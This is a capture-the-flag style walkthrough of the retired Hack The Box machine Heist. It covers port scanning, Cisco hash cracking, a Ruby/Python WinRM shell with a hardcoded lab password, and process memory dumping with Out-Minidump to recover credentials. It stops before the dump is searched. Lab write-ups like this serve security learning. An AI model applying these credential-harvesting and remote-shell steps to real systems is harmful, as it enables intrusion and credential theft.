This post documents the complete walkthrough of Heist, a retired vulnerable VM created by MinatoTW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Heist is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.149 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-08-17 05:02:21 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 135/tcp on 10.10.10.149 Discovered open port 49668/tcp on 10.10.10.149 Discovered open port 5985/tcp on 10.10.10.149 Discovered open port 445/tcp on 10.10.10.149 Discovered open port 80/tcp on 10.10.10.149

Hmm. It’s Windows alright. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p80,135,445,5985,49668 -A --reason -oN nmap.txt 10.10.10.149 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 445/tcp open microsoft-ds? syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

nmap finds RPC, SMB and WinRM open but SMB is not leaking any public shares. We’ll just have to explore the http service first, which appears to be running PHP. This is what the site looks like.

The site allows guest login. Check it out.

And there’s an attachment!

There is one type-5 cisco password hash and two type-7 password hashes. The type-5 password hash is simply MD5, which John the Ripper can easily crack.

For the two type-7 hashes, I found an online cracker that’ll reveal the passwords instanteanously.

So, there we have it. Two-and-a-half pair of credentials.

PowerShell Remoting (sort of)

For one, we know that this credential ( hazard:stealh1agent ) is valid from smbmap .

You might ask what’s next? Well, WinRM is open, isn’t it? We can make use of the WinRM Ruby library, combined with a Python shell to “simulate” a PowerShell session.

Unfortunately, that isn’t the correct credential. We need to determine more usernames. Enter Impacket’s lookupsid.py . This nifty script, combined with hazard ’s credential will help us in gathering the username we need.

Long story short, this credential ( chase:Q4)sJu\Y8qz*A3?d ) is the right combination.

cmd.rb

require 'winrm' opts = { endpoint: 'http://10.10.10.149:5985/wsman' , user: 'chase' , password: 'Q4)sJu\Y8qz*A3?d' , } # Powershell commands cmd = ARGV [ 0 ] conn = WinRM :: Connection . new ( opts ) conn . shell ( :powershell ) do | shell | output = shell . run ( cmd ) do | stdout , stderr | STDOUT . print stdout STDERR . print stderr end # puts "The script exited with exit code #{output.exitcode}" end

This script takes in one argument: the command to run in PowerShell runspace. Next up, we have a rudimentary Python shell that sends the command to the ruby script.

shell.py

from cmd import Cmd import os class Shell ( Cmd ): def do_quit ( self , line ): """Quits the shell""" print "Quiting" raise SystemExit def default ( self , line ): os . system ( "ruby cmd.rb " + "'" + line + "'" ) if __name__ == "__main__" : s = Shell () s . prompt = 'PS> ' s . cmdloop ( "Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

" )

Let’s give it a shot.

Low-Privileged Shell

It’s all fine and dandy but it’s also kinda slow. I’d personally suggest checking Evil-WinRM which is a far more superior shell, if you haven’t already done so.

The file user.txt is at chase ’s desktop.

Privilege Escalation

During enumeration of chase ’s account, I notice the password hash of what I believe belongs to administrator in login.php .

login.php

<?php session_start (); if ( isset ( $_REQUEST [ 'login' ]) && ! empty ( $_REQUEST [ 'login_username' ]) && ! empty ( $_REQUEST [ 'login_password' ])) { if ( $_REQUEST [ 'login_username' ] === [email protected]' && hash ( 'sha256' , $_REQUEST [ 'login_password' ]) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040' ) { $_SESSION [ 'admin' ] = "valid" ; header ( 'Location: issues.php' ); } else header ( 'Location: errorpage.php' ); } else if ( isset ( $_GET [ 'guest' ]) ) { if ( $_GET [ 'guest' ] === 'true' ) { $_SESSION [ 'guest' ] = "valid" ; header ( 'Location: issues.php' ); } } ?>

There’s also a subtle hint in todo.txt that says something like this.

Stuff to-do: 1. Keep checking the issues list. 2. Fix the router config. Done: 1. Restricted access for guest user.

Something tells me that chase is constantly checking issues.php .

Now, if we can dump out the process memory, maybe we can search for the password from it? Long story short, SysInternal’s ProcDump didn’t work for me so I went for Out-Minidump.ps1 instead.

I appended the following line to the PowerShell script like so.

Out-Minidump -Process (Get-Process -ID 6636) -DumpFilePath C:\Windows\Tracing

I chose to dump out process 6636 because it got the most number of handles. Next, I host it with Python’s SimpleHTTPServer and download to the machine using certutil.exe .

Time to dump it!

Sweet. Let\s see if we can find we want.